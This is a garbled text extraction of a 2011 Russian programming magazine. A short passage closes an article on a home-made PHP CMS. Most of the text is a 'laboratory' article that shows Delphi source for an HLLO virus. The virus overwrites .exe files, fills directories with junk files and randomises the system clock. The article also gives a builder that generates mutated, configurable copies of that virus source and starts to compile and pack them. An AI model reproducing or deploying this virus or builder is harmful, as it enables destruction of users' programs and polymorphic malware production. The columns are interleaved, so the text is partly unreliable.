** У супруги тогда возникла идея сделать образовательный сайт по экологии. Так как она программирование не знала, а я не решался на эксперименты с навороченными движками, решили сделать сайт на uCoz. В лучшие времена посещалка составляла там около 300-400 хостов в день. Сколько бы не ругали uCoz, а сервис оказался хорош – модули были готовые, а менять дизайн можно было на лету (благо, не отменяли HTML и CSS). Конструктор сайтов оказался интересным многим людям, которых интересовал мгновенный старт и простое представительство в сети в виде джентльменского набора – контактов, фотогалереи и новостной ленты / Комментарий автора.

31


ПРО

№17 (октябрь) 2011

граммист

WEB ТЕХНОЛОГИИ

Схема работы компонентов Potto CMS

32


ПРО

№17 (октябрь) 2011

граммист

WEB ТЕХНОЛОГИИ Source решения, поддерживаемые активным

mysqli или pdo и т.д.

класса с большим опытом разработки. Но

Таким образом, представление информации в

международным сообществом профи высшего

потом победила мысль – а почему бы не по-

пробовать свои силы. Код я сразу задумал

открыть – вдруг кому-то он пригодится, и потом, что скрывать?

Первым делом я потопал на Denwer.Ru и скачал свежую версию знаменитого джентльмен-

ского пакета. Короткая процедура установки и

интерфейсе пользователя, хранение данных в

реляционных таблицах и обработка данных

изолируются друг друга в некоторой степени.

По сути, обработка выглядит так – обращаем-

ся за сырыми данными в SQL-компонент, что-

то вычисляем, результаты записываем в пере-

менные шаблонизатора и вызываем метод

формирования пользовательского представле-

диск Z: готов. Систему я задумал сделать

ния.

чает за запрос к базе данных, обработку полу-

Вернемся к контроллерам. Как я уже писал

затору. Т.е. в основе CMS должны были ле-

гим разработанным контроллерам – для этого

модульной – каждый отдельный модуль отвеченных

записей

и

передачу

их

шаблони-

жать взаимосвязанные контроллеры, каждый из которых решал класс задач над конкрет-

ранее, контроллер может обращаться к дру-

используется фабрика классов, инстанцирую-

щая подчиненные объекты. Контроллер имеет

ными объектами (пользователями, страница-

метод GetAction, который возвращает полу-

лись с другими объектами, с шаблонизатором

тывать из массива GET или POST. POST-запросы

ми, разделами сайта). Контроллеры обращаи с SQL-компонентом.

Шаблонизатор, в свою очередь, должен был

уметь считывать файлы шаблонов (обычный текст в UTF-8, содержащий те или иные шаб-

лонные элементы разметки), конкретизиро-

вать значения переменных шаблона и, наконец, возвращать результат подстановки значе-

ний переменных в заданный шаблон. Для при-

мера, шаблон simple.tpl имеет в своем сос-

таве переменные ~TITLE~ и ~BODY~. В зависи-

мости от поставленной задачи контроллер

ченное действие, например, его можно счи-

предпочтительнее, поскольку не загроможда-

ют адресную строку и избавляют от необхо-

димости писать сложный .htaccess файл. В

зависимости от параметра, обозначающего объект (например users или filemanager) и дополнительного параметра, обозначающего,

что нужно сделать с объектом (например,

deluser или paste) вызывается некоторая фун-

кция контроллера. Поскольку ни одна фун-

кция CMS не должна оставлять пользователя

без интерфейса, обязательным является фор-

мирование

некоторого

визуального

ответа,

клиентской части (front-office) заполняет эти

записываемого в переменную шаблонизатора.

чат или текст какой-то страницы.

Соответственно***,

SQL-компонент был выделен в отдельный

некоторый подчиненный контроллер и резуль-

переменные – например, подставляет AJAX –

класс по одной простой причине: сделать

админка

(back-office)

и

клиентская часть (front-office) CMS вызывают

тат визуализации работы этого контроллера

интерфейс обращения к базе данных незави-

(ответ на запрос) возвращают в переменные

вере. Другими словами, SQL–компонент дол-

ны – это обычные текстовые файлы. Они могут

симым от библиотек или базы данных на сер-

жен скрывать использование функций mysql,

шаблона, главная из которых ~BODY~. Шаблосодержать Javascript, HTML код фрагментов

*** Для хранения «состояния» программы я использовал как массив SESSION, скрытые формы с шаблонными переменными таблицу options в базе данных, для хранения сквозных настроек сайта (например, названия сайта и т.п.) / Комментарий автора.

33


ПРО

№17 (октябрь) 2011

граммист

WEB ТЕХНОЛОГИИ

Схема взаимодействия компонентов

Схема обработки запросов

34


ПРО

№17 (октябрь) 2011

граммист

WEB ТЕХНОЛОГИИ

Панель управления

Редактор

35


ПРО

№17 (октябрь) 2011

граммист

WEB ТЕХНОЛОГИИ

Панель управления шаблона. Конечно, есть Smarty, XSLT. Но даже

вида

выполняет возложенные на него обязанности.

index.php?do=viewpage&id=page1.

в таком виде как сейчас шаблонизатор вполне

Админка отвечает на POST-запросы. Перед вы-

полнением любого действия от имени админи-

стратора админка сверяет предлагаемый ей ключ на предмет наличия пользователя с пра-

вами администратора с данным ключом в базе

данных. Пароль пользователя в открытом виде

http://site.ru/content/page1

переписывается

в

виде

фактичес-ки http://site.ru/

Собственно, вот и вся идея. Первоначально CMS-ка тестировалась на Denwer, затем сайт

на локальной машинке был выведен во внеш-

ний мир через No-Ip.org. Примерно через ме-

сяц после начала разработки CMS прошла

боевое

крещение

на

настоящем

коммер-

на сайте не хранится.

ческом виртуальном хостинге.

Контроллер пользовательской части веб-при-

Постскриптум

росам. При этом для удобочитаемости ад-

В будущем я планирую усовершенствовать

ложения больше внимания уделяет GET-запресов используется mod_rewrite. Так, адрес

шаблонизатор, прикрутить к CMS паттерн

36


ПРО

№17 (октябрь) 2011

граммист

WEB ТЕХНОЛОГИИ

«Наблюдатели», определится окончательно с

программирования,

групп на отдельные действия в конкретных

без этого слаженного оркестра CMS зазвучать

реализацией групп пользователей и прав этих

компонентах, разделаться c SQL-компонен-

пресловутые

фабрики

классов, наблюдатели, диспетчеры и прочее –

не может. А то, насколько гармоничной будет

том, который пока работает только на функ-

симфония – зависит от веб-программиста.

Беспокоят вопросы снижения нагрузки на

чания и предложения приветствуются на E-

циях mysql. базу

данных,

оптимизация

производитель-

ности кода и другое. Но, думаю, упор-ным

Справедливая критика, конструктивные заме-

mail автора. Благодарю за внимание, желаю нашим

читателям

трудом все можно преодолеть. Какая судьба

успехов!

своим

Ресурсы

ожидает мою CMS? Жизнь все расставит по местам.

самостоятельно,

На

CMS-ке,

кру-тится

написанной

сейчас

личный

творческих

и

деловых

сайт. С каждой строчкой кода, с каждой

1. Исходники проекта PottoCMS http://code.go-

больше разбираться в php, html, css, javascript

2. Сайт автора http://artnazarov.ru

решенной проблемой возни-кает желание еще

и других смежных языках и технологиях. Но

самое

главное

это

паттерны

ogle.com/p/potto-cms

3. Cтраница проекта http://artnazarov.ru/ content/aboutpottocms

37


ПРО

№17 (октябрь) 2011

граммист

Денис Гончаров by execom

http://xakep.su

ЛАБОРАТОРИЯ

ТЕХНОЛОГИЯ КОМПИЛЯТОРНОГО БИЛДИНГА В DELPHI Нередко мы пишем программы продуктом деятельности которых является файл, причем это может быть как текстовый файл, так и бинарная последовательность, а может быть и какой-либо мультимедийный формат (например мелодия или картинка). Исполняемые же файлы достаточно редко бывают продуктами жизнедеятельности программ, исключая случаи самокопирования (свойственного вредоносным программам), извлечения из архивов (свойственного всевозможным инсталляторам), либо непосредственного синтеза исполнительных файлов, которым обычно занимаются компиляторы и компоновщики. Как вы поняли из моего вступления, статья будет посвящена созданию программы, позволяющей с той или иной степенью свободы управлять содержимым созданного ею исполняемого файла. Я называю этот процесс – Билдингом (от англ. Building – возведение, строительство).

Какова область применения билдинга испол-

ния настроек из своего файла, в этом случае

стаб крипторов или джойнеров, либо генери-

то место, которое программа считает своими

няемых файлов? Например, можно создавать ровать с определенными настройками какие-

либо другие программы, например вредонос-

ные. Это уж кому как нравится. Для указанной цели обычно используют два вида прог-

рамм:

1) конфигураторы – эти программы изменяют в

готовом исполняемом файле какие-либо стро-

ковые

или

численные

значения

констант,

конфигуратор будет перезаписывать именно настройками – чаще всего дописывают либо в

конец исполняемого файла, либо в неисполь-

зуемые программой места;

2) билдеры – эти программы способны более радикально менять структуру конечного фай-

ла и, как правило, большинство из них реали-

зованы либо с применением самописного ком-

пилятора, либо за счет эксплуатации компи-

лятора от более именитых разработчиков. В

соответствующие, например, номерам счетов

этой статье я опишу, как делать билдеры с

вило, реквизитных параметров. Подобные про-

для среды разработки Delphi 7. Хотя вам не

электронных кошельков, либо других, как пра-

граммы достаточно редко способны изменить алгоритм программы, можно конечно тщате-

применением

компилятора

фирмы

Borland

составит труда применять подобную методи-

ку с любым другим компилятором, который,

льно обработать программу отладчиком и вы-

на ваш взгляд, лучше отвечает требованиям

деляющих в какой-то степени логику про-

возможности и вкуса.

случае, если автор подобного конфигуратора

Принцип

лицо. Есть и другой способ, можно при напи-

Для реализации билдера я применяю следую-

яснить фактическое расположение байт, опреграммы. Этот способ обычно применяется в

и автор конфигурируемой программы не одно

сании программы, которую необходимо конфигурировать снабдить ее возможностью чте-

качества исполняемого кода, быстродействия,

щий принцип, который разделяю на несколь-

ко шагов:

38


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ Шаг 1. Создание исходного текста той про-

граммы, которую мы будем создавать и определение возможностей ее конфигурирования.

Шаг 2. Создание визуальной (либо консоль-

ной) системы принятия настроек от

пользователя.

Шаг 3. Генерация и конфигурирование исход-

ника – этот модуль будет создавать

исходный текст программы с примене-

нием пользовательских настроек. Так-

же можно наполнить исходник случайным мусором, что позволить внести в

конечную

программу

энтропийность.

определенную

Шаг 4. Компиляция исходника и упаковка по-

лученного исполняемого файла. Этот,

на первый взгляд, простой шаг может,

в некоторых случаях, иметь определенные «подводные камни», например в

программе имеется некая константа

хранящая в себе размер программы, а

при различных настройках, а так же в

случае применения различных мето-

дик наполнения исходника случайным мусором, это значение не всегда мож-

но с должной долей вероятностью за-

ранее определить. В реализации при-

мера билдера я остановлюсь на способе устранения этой проблемы.

Реализация билдера. Шаг 1 Процесс создания будем освящать в том порядке как указано выше, преступаем к перво-

му шагу. В качестве примера программы я

подготовил простенький HLLO вирус, который мы и будем создавать. Вирус имеет следую-

щие настройки:

1. возможность выбора количества заражаемых за один запуск файлов;

2. возможность включения в состав процеду-

3. ры заполнения мусорными файлами теку-

щего каталога (случайного размера, содержимого и имени);

4. возможность включения в состав проце-

дуры устанавливающей случайное системное время и дату;

5. возможность выбора типа заражения: с перезаписью всего файла и с перезаписью

начала файла;

6. установка значения VirSize – размера вируса.

Ниже приведу исходник описанного вируса,

места, которые будут конфигурироваться (это указано соответствующими комментариями): Program HLLO; uses windows; const {Размер вируса} VirSize

=

$FFFF;

{Количество заражений за один запуск} VicCount = 7; {Константы перенесенные из модуля Windows} FILE_ATTRIBUTE_NORMAL = $00000080; FILE_SHARE_WRITE

= $00000002;

KERNEL32

= 'kernel32.dll';

MAX_PATH

= 260;

CREATE_ALWAYS

= 2;

GENERIC_READ

= INTEGER($80000000);

GENERIC_WRITE

= $40000000;

OPEN_EXISTING

= 3;

TRUNCATE_EXISTING

= 5;

{Типы перенесенные из модуля Windows} type POverlapped = pointer; PSecurityAttributes = pointer; PathBuf = array [0..MAX_PATH] of char; DWORD = INTEGER; PINTEGER = ^INTEGER; BOOL = BOOLEAN;

39


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ TFileTime = record

lpOverlapped: POverlapped

dwLowDateTime: INTEGER;

): BOOLEAN; stdcall;

dwHighDateTime: INTEGER;

external KERNEL32 name 'ReadFile';

end; function WriteFile( FindRec = record

hFile: INTEGER; const Buffer;

dwFileAttributes: INTEGER;

nNumberOfBytesToWrite: INTEGER;

ftCreationTime: TFileTime;

var lpNumberOfBytesWritten: INTEGER;

ftLastAccessTime: TFileTime;

lpOverlapped: POverlapped

ftLastWriteTime: TFileTime;

): BOOLEAN; stdcall;

nFileSizeHigh: INTEGER;

external KERNEL32 name 'WriteFile';

nFileSizeLow: INTEGER; dwReserved0: INTEGER; dwReserved1: INTEGER;

function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';

cFileName: PathBuf; cAlternateFileName: array[0..13] of AnsiChar; end;

function GetModuleFileName( hModule: INTEGER; lpFilename: PChar; nSize: INTEGER ): INTEGER; stdcall;

TSystemTime = record

external kernel32 name 'GetModuleFileNameA';

wYear: Word; wMonth: Word;

function FindFirstFile(

wDayOfWeek: Word;

lpFileName: PChar; var lpFindFileData: FindRec

wDay: Word;

): integer; stdcall;

wHour: Word;

external kernel32 name 'FindFirstFileA';

wMinute: Word; wSecond: Word; wMilliseconds: Word; end;

function FindNextFile( hFindFile: integer; var lpFindFileData: FindRec ): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';

{Строки импорта функций перенесенные из модуля Windows} function CreateFile(

function SetSystemTime(

lpFileName: PAnsiChar;

const lpSystemTime: TSystemTime

dwDesiredAccess, dwShareMode: INTEGER;

): BOOL; stdcall;

lpSecurityAttributes:PSecurityAttributes;

external kernel32 name 'SetSystemTime';

dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER ): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';

var VC : integer=0; H : integer; R : TWIN32FindData;

function ReadFile( hFile: INTEGER; var Buffer;

function RandInt(rCount:integer):integer;

nNumberOfBytesToRead: INTEGER;

function rdtsc:Integer; asm rdtsc end;

var lpNumberOfBytesRead: INTEGER;

begin

11 40


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ result:=rdtsc mod rCount;

end;

if result<0 then Result:=Result-2*Result; End;

Procedure Infect(path : PChar); var

{Мусор в текущем каталоге}

pch : array [0..MAX_PATH] of char;

Procedure TrashDir;

B : Cardinal;

var

F : INTEGER; i : integer;

Buf : array [1..VirSize] of Char;

r : integer;

begin

k : integer;

GetModuleFileName(0, pch, MAX_PATH);

rr : integer;

F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING,

buf : array [1..10] of char; bb : array [0..4095] of byte; f : integer;

FILE_ATTRIBUTE_NORMAL, 0); ReadFile(F, Buf, VirSize, B, nil); CloseHandle(F);

CRD : integer;

{Заражение перезаписью всего файла}

begin

F := CreateFile(path, GENERIC_WRITE, CREATE_ALWAYS, nil,

r:=RandInt(10)+1;

TRUNCATE_EXISTING,FILE_ATTRIBUTE_NORMAL, 0);

for k:=1 to r do

{Заражение с перезаписью начала}

begin

F := CreateFile(path, GENERIC_WRITE, CREATE_ALWAYS, nil,

rr:=RandInt(3996)+100;

OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

for i:=1 to 10 do

WriteFile(F, Buf, VirSize, B, nil);

buf[i]:=chr(ord(RandInt(26)+65));

CloseHandle(F);

buf[7]:='.';

inc(VC);

for i:=0 to rr do

if VC=VicCount then Halt;

bb[i]:=RandInt(256);

end;

f:=CreateFile(@Buf,GENERIC_WRITE,0, nil,CREATE_ALWAYS,0,0); WriteFile(f, Buf, rr, CRD, nil); CloseHandle(f); end;

Procedure Find; begin H:=FindFirstFile('*.exe',R); while H<>0 do

end;

begin if ((R.cFileName[0]<>'.')

{Установка случайного времени и даты}

or (R.cFileName[1]<>'.'))

Procedure RandTime;

and (R.nFileSizeLow>VirSize)

var

then infect(R.cFileName);

tm : TSystemTime;

if not FindNextFile(h,R) then break

begin

end

tm.wHour:=RandInt(24);

end;

tm.wMinute:=RandInt(60);

begin

tm.wDay:=RandInt(29)+1;

{Мусор в текущем каталоге}

tm.wMonth:=RandInt(12)+1;

TrashDir;

tm.wYear:=RandInt(100)+1980;

{Установка случайного времени и даты}

SetSystemTime(tm);

RandTime;

41


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ Find;

Procedure SourceGen;

end;

Begin //Заготовка 1

Стоит обратить внимание, что данный вирус

End;

все используемые типы, константы и импорты

Procedure VirusGen;

написан исключительно средствами WinAPI и функций перенесены из модуля Windows. Та-

Begin

ровать методом, который я неоднократно опи-

End;

ким образом, этот исходник можно компили-

сывал в своих статьях, как метод компиляции без RTL. Подробней* об этом методе вы може-

те

узнать

из

моей

статьи:

http://xakep.su/

coding/virus/11-mikroskopicheskie-programmy-v-

delphi-urok-4.html.

Визуальная система принятия настроек от

пользователя. Шаг 2

Создадим оконное приложение, которой позволит выбирать заявленные возможности вируса. Окно имеет вид:

//Заготовка 2

Далее реализуем обработчики событий нажа-

тия на функциональные кнопки: «Создать» и «Выход»:

//Кнопка Создать procedure TForm1.btn_CreateClick(Sender: TObject); begin SourceGen; //Вызов процедуры создания исходника VirusGen;

//Вызов процедуры компиляции исходника

end; // Кнопка Выход procedure TForm1.btn_ExitClick(Sender: TObject); begin Halt; // Выход end;

Генерация и конфигурирование исходника. Шаг 3

Тестовое окно настроек создаваемого вируса Для реализации третьего и четвертого шага нам будут необходимы две процедуры:

1. SourceGen – в ней будет производится создание исходника вируса с заданными нас-

тройками;

2. VirusGen – в ней будет производится компиляция исходника.

Создадим заготовки этих процедур: * Также обратите внимание на то, что в исходнике вместо функции Random применяется ее самописный аналог RandInt(), это связано с тем что реализация функции рандом была удалена из модуля System / Автор.

Напишем процедуру создающую необходимый исходник вируса. Исходный текст программы

на языке Delphi представляет собой самый

обычный текстовый файл, поэтому создавать

исходник мы будем самым стандартным для

данной среды методом: var t : TextFile; begin AssignFile(t,’Имя файла’); ReWrite(t);

Writeln(t,’ПЕРВАЯ СТРОКА ИСХОДНИКА’);

42


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ процедуры Trash, в исходнике билдера также

………………….

имеется одноименная функция, которая воз-

Writeln(t,ПОСЛЕДНЯЯ СТРОКА ИСХОДНИКА’);

вращает в качестве параметра строку случай-

CloseFile(t);

ного вызова (их может быть от 0 до 2) проце-

end;

Конфигурировать

исходник

мы

будем

дуры Trash, со случайными параметрами. Вы-

как

зовы функции Trash включены в генераторе

между строками в зависимости от условия.

работу программы, например так выглядит

прямыми вставками в строки, так и выбором

Для разнообразия я решил включить в генера-

тор исходников простенький принцип мута-

ции, т.е. каждый исходник (и соответственно

программа), будут немного отличаться содер-

жимым, но при одинаковых настройках эти мутанты будут полностью идентичны функ-

ционально. Как это реализуется? В каждый исходник будет включена совершенно безпо-

лезная процедура Trash, которая для каждого

мутанта будет генерироваться по случайному

закону, далее в исходнике будут в случайном

порядке включены вызовы этой процедуры со

исходников в тех строках где это не нарушает

часть

исходника

RandTime:

генерирующая

процедуру

if Form1.cb_RandTime.Checked then //Процедура установки случайного времени begin writeln(t,'Procedure RandTime;'); writeln(t,'var'); writeln(t,'

tm : TSystemTime;');

writeln(t,'begin'); writeln(t,'

tm.wHour:=RandInt(24);'+Trash);

случайными параметрами и случайное коли-

writeln(t,'

tm.wMinute:=RandInt(60);'+Trash);

writeln(t,'

tm.wDay:=RandInt(29)+1;'+Trash);

ществляется следующим образом:

writeln(t,'

tm.wMonth:=RandInt(12)+1;'+Trash);

writeln(t,'

tm.wYear:=RandInt(100)+1980;'+Trash);

writeln(t,'

SetSystemTime(tm);'+Trash);

чество раз. Генерация процедуры Trash осу-

writeln(t,'end;');

var

writeln(t,'');

I : integer;

end;

………………… writeln(t,'Procedure Trash(i:integer);'); writeln(t,'var'); writeln(t,'

k : integer;');

writeln(t,'begin'); for i:=1 to random(20)+5 do case random(4) of 0:writeln(t,'k:=0;'); 1:writeln(t,'k:='+inttostr(random(65536))+';'); 2:writeln(t,'k:=i;'); 3:writeln(t,'k:=i+'+inttostr(random(65536))+';'); end; writeln(t,'End;'); writeln(t,'');

Для включения в исходник случайных вызовов

Обратите внимание на то, что в данном при-

мере фигурирует и образец того, каким об-

разом осуществляется конфигурирование со-

держимого исходника, если установлен фла-

жок на чекбоксе cb_RandTime, то приведенный фрагмент будет включен в исходник. Функция

Trash в исходнике билдера имеет вид:

(*Функция генерации случайных вызовов процедуры Trash*) function Trash : string; begin randomize; case random(3) of 0:Result:='';

43


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ 1:Result:=' Trash('+inttostr(random(65536))+');'; 2:Result:=' Trash('+inttostr(random(65536))+');'+ ' Trash('+inttostr(random(65536))+');'; end;

writeln(t,'

TFileTime = record');

writeln(t,'

dwLowDateTime: INTEGER;');

writeln(t,'

dwHighDateTime: INTEGER;');

writeln(t,'end;');

end;

writeln(t,'');

Далее привожу полный исходный текст процедуры SourceGen:

writeln(t,'FindRec = record'); writeln(t,'

dwFileAttributes: INTEGER;

writeln(t,'

ftCreationTime: TFileTime;');

');

writeln(t,'

ftLastAccessTime: TFileTime;');

(*Эта процедура создает исходник вируса с заданными

writeln(t,'

ftLastWriteTime: TFileTime; ');

настройками*)

writeln(t,'

nFileSizeHigh: INTEGER;');

Procedure SourceGen;

writeln(t,'

nFileSizeLow: INTEGER; ');

var

writeln(t,'

dwReserved0: INTEGER;');

i : integer;

writeln(t,'

dwReserved1: INTEGER;');

t : textfile;

writeln(t,'

cFileName: PathBuf;');

writeln(t,'

cAlternateFileName: array[0..13] of

begin

AnsiChar;');

Randomize; AssignFile(t,'BIN\HLLO.dpr');

writeln(t,'end;');

Rewrite(t);

writeln(t,'');

writeln(t,'Program HLLO;');

writeln(t,'TSystemTime = record');

writeln(t,'const');

writeln(t,'

wYear: Word;');

writeln(t,'

VirSize = $FFFF;');

writeln(t,'

wMonth: Word;');

writeln(t,'

VicCount = '+Form1.ed_KolZar.text+';');

writeln(t,'

wDayOfWeek: Word;');

writeln(t,'

wDay: Word;');

//Количество заражений за один запуск writeln(t,'

FILE_ATTRIBUTE_NORMAL = $00000080;');

writeln(t,'

wHour: Word;');

writeln(t,'

FILE_SHARE_WRITE = $00000002;');

writeln(t,'

wMinute: Word;');

writeln(t,'

KERNEL32 = '+#39+'kernel32.dll'+#39+';');

writeln(t,'

wSecond: Word;');

writeln(t,'

MAX_PATH = 260;');

writeln(t,'

wMilliseconds: Word;');

writeln(t,'

CREATE_ALWAYS = 2;');

writeln(t,'end;');

writeln(t,'

GENERIC_READ = INTEGER($80000000);');

writeln(t,'');

writeln(t,'

GENERIC_WRITE = $40000000;');

writeln(t,'

OPEN_EXISTING = 3;');

(*Импортируемые функции*)

writeln(t,'

TRUNCATE_EXISTING = 5;');

writeln(t,'function CreateFile(

writeln(t,'');

lpFileName: PAnsiChar; dwDesiredAccess,

writeln(t,'type');

dwShareMode: INTEGER; lpSecurityAttributes:

writeln(t,'

PSecurityAttributes; dwCreationDisposition,

POverlapped = pointer;');

writeln(t,'

PSecurityAttributes = pointer;');

dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER

writeln(t,'

PathBuf = array [0..MAX_PATH] of char;');

): INTEGER; stdcall; external KERNEL32 name

writeln(t,'

DWORD = INTEGER;');

'+#39+'CreateFileA'+#39+';');

writeln(t,'

PINTEGER = ^INTEGER;');

writeln(t,'

BOOL = BOOLEAN;');

writeln(t,'');

writeln(t,'function ReadFile( hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER;

44


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ lpOverlapped: POverlapped

//Процедура Trash

): BOOLEAN; stdcall;

writeln(t,'Procedure Trash(i:integer);');

external KERNEL32 name

'+#39+'ReadFile'+#39+';');

writeln(t,'var'); writeln(t,'

writeln(t,'function WriteFile(

k : integer;');

writeln(t,'begin');

hFile: INTEGER; const Buffer;

//Герерация случайного содержимого процудуры Trash

nNumberOfBytesToWrite: INTEGER;

for i:=1 to random(20)+5 do

var lpNumberOfBytesWritten: INTEGER;

case random(4) of

lpOverlapped: POverlapped

0:writeln(t,'k:=0;');

): Boolean; stdcall; external KERNEL32 name

1:writeln(t,'k:='+inttostr(random(65536))+';');

'+#39+'WriteFile'+#39+';');

2:writeln(t,'k:=i;'); 3:writeln(t,'k:=i+'+inttostr(random(65536))+';');

writeln(t,'function CloseHandle(

end;

hObject: INTEGER): Boolean; stdcall;

writeln(t,'End;');

external KERNEL32 name '+#39+'CloseHandle'+#39+';');

writeln(t,'');

writeln(t,'function GetModuleFileName(

//Процедура RandInt - замена стандартной Random

hModule: INTEGER; lpFilename: PChar; nSize: INTEGER

writeln(t,'function RandInt(rCount:integer):integer;');

): INTEGER; stdcall; external kernel32 name

writeln(t,'function rdtsc:Integer; asm rdtsc end;');

'+#39+'GetModuleFileNameA'+#39+';');

writeln(t,'begin'); writeln(t,'result:=rdtsc mod rCount;');

writeln(t,'function FindFirstFile(

writeln(t,'if result<0 then Result:=Result-2*Result;');

lpFileName: PChar; var lpFindFileData: FindRec

writeln(t,'End;');

): integer; stdcall; external kernel32 name

if Form1.cb_TrashDyr.Checked then

'+#39+'FindFirstFileA'+#39+';');

//Процедура засорения текущего каталога begin

writeln(t,'function FindNextFile(

writeln(t,'Procedure TrashDir;');

hFindFile: integer; var lpFindFileData: FindRec

writeln(t,'var');

): BOOLEAN; stdcall; external kernel32 name

writeln(t,'

'+#39+'FindNextFileA'+#39+';'); writeln(t,'function SetSystemTime(

writeln(t,'

r : integer;');

writeln(t,'

k : integer;');

writeln(t,'

const lpSystemTime: TSystemTime

writeln(t,'

): BOOL; stdcall; external kernel32 name

writeln(t,'

'+#39+'SetSystemTime'+#39+';');

i : integer;');

rr : integer;'); buf : array [1..10] of char;'); bb : array [0..4095] of byte;');

writeln(t,'

f : integer;');

writeln(t,'

CRD : integer;');

writeln(t,'var');

writeln(t,'begin');

writeln(t,' VC : integer=0;');

writeln(t,'

r:=RandInt(10)+1;'+Trash);

writeln(t,'

H : integer;');

writeln(t,'

for k:=1 to r do');

writeln(t,'

R : FindRec;');

writeln(t,'

begin');

writeln(t,'');

writeln(t,'

rr:=RandInt(3996)+100;'+Trash);

writeln(t,'

for i:=1 to 10 do');

45


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ writeln(t,'

buf[i]:=chr(ord(RandInt(26)+65)); '+Trash);

writeln(t,'

buf[7]:='+#39+'.'+#39+';'+Trash);

writeln(t,'

for i:=0 to rr do ');

writeln(t,'

bb[i]:=RandInt(256);'+Trash);

if Form1.rb_OwerWriteAll.Checked then //Заражение с перезаписью всего файла writeln(t,'

F := CreateFile(path, GENERIC_WRITE,

CREATE_ALWAYS,nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);');

writeln(t,'

f:=CreateFile(@Buf,GENERIC_WRITE,0,

writeln(t,'

WriteFile(f, Buf, rr, CRD, nil);'+Trash);

//Заражение с перезаписью начала файла

writeln(t,'

CloseHandle(f);'+Trash);

writeln(t,'

nil,CREATE_ALWAYS,0,0);');

writeln(t,'

end;');

writeln(t,'end;'); writeln(t,'');

if Form1.rb_OwerWriteTop.Checked then F := CreateFile(path, GENERIC_WRITE,

CREATE_ALWAYS,nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);'); writeln(t,'

WriteFile(F, Buf, VirSize, B, nil);'+Trash);

writeln(t,'

CloseHandle(F);'+Trash);

writeln(t,'

inc(VC);'+Trash);

if Form1.cb_RandTime.Checked then

writeln(t,'

if VC=VicCount then Halt;');

//Процедура устаноки случайного времени

writeln(t,'end;');

end;

begin

writeln(t,'');

writeln(t,'Procedure RandTime;');

writeln(t,'Procedure Find;');

writeln(t,'var');

writeln(t,'begin');

writeln(t,'

writeln(t,'

tm : TSystemTime;');

H:=FindFirstFile('+#39+'*.exe'+#39+',R);

writeln(t,'begin');

'+Trash);

writeln(t,'

tm.wHour:=RandInt(24);'+Trash);

writeln(t,'

writeln(t,'

tm.wMinute:=RandInt(60);'+Trash);

writeln(t,'

writeln(t,'

tm.wDay:=RandInt(29)+1;'+Trash);

writeln(t,'

while H<>0 do'); begin'); if ((R.cFileName[0]<>'+#39+'.'+#39+')');

writeln(t,'

tm.wMonth:=RandInt(12)+1;'+Trash);

writeln(t,'

or (R.cFileName[1]<>'+#39+'.'+#39+'))');

writeln(t,'

tm.wYear:=RandInt(100)+1980;'+Trash);

writeln(t,'

and (R.nFileSizeLow>VirSize)');

writeln(t,'

SetSystemTime(tm);'+Trash);

writeln(t,'

then infect(R.cFileName);');

writeln(t,'end;');

writeln(t,'

if not FindNextFile(h,R) then break');

writeln(t,'');

writeln(t,'

end');

end;

writeln(t,'end;');

writeln(t,'Procedure Infect(path : PChar);');

writeln(t,'');

writeln(t,'var');

writeln(t,'begin');

writeln(t,' writeln(t,' writeln(t,' writeln(t,'

pch : array [0..MAX_PATH] of char;'); B : integer;'); F : INTEGER;'); Buf : array [1..VirSize] of Char;');

if Form1.cb_TrashDyr.Checked then //Процедура засорения текущего каталога writeln(t,'

TrashDir;'+Trash);

writeln(t,'begin'); writeln(t,'

GetModuleFileName(0, pch, MAX_PATH);'+Trash);

if Form1.cb_RandTime.Checked then

writeln(t,'

F:=CreateFile(pch, GENERIC_READ, 1, nil,

//Процедура устаноки случайного времени

OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0);');

writeln(t,'

RandTime;'+Trash);

writeln(t,'

ReadFile(F, Buf, VirSize, B, nil);'+Trash);

writeln(t,'

Find;'+Trash);

writeln(t,'

CloseHandle(F);'+Trash);

writeln(t,'end.');

46


ПРО

№17 (октябрь) 2011

граммист

ЛАБОРАТОРИЯ CloseFile(t); end;

st : string; j : integer; f : file;

Компиляция исходника и упаковка. Шаг 4 Для того, чтобы завершить процесс создания вируса, необходимо откомпилировать его ис-

ходный текст. Рассмотрим следующий исход-

ник:

(*Процедура запуска и ожидания заверщения выполнения запускаемой программы*) function WinExecAndWait32(FileName: string):integer; var StartupInfo:TStartupInfo; ProcessInfo:TProcessInformation; Resultado: DWord; begin FillChar(StartupInfo,Sizeof(StartupInfo),#0); StartupInfo.cb := Sizeof(StartupInfo); StartupInfo.dwFlags := STARTF_USESHOWWINDOW; StartupInfo.wShowWindow := SW_Hide; if not CreateProcess(PChar(FileName),nil,nil,nil, false,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,nil,

fch : file of char; Buf : array [1..4] of char; ch : char; begin (**********************************) (*1. Создание ВАТ-ник (*2

*)

Запуск ВАТ-ника с ожидаением *)

(*3. Компиляция исходника

*)

(*4. Упаковка программы

*)

(*5. Удаление прошлого вируса

*)

(*6. Самоудаление ВАТ-ника

*)

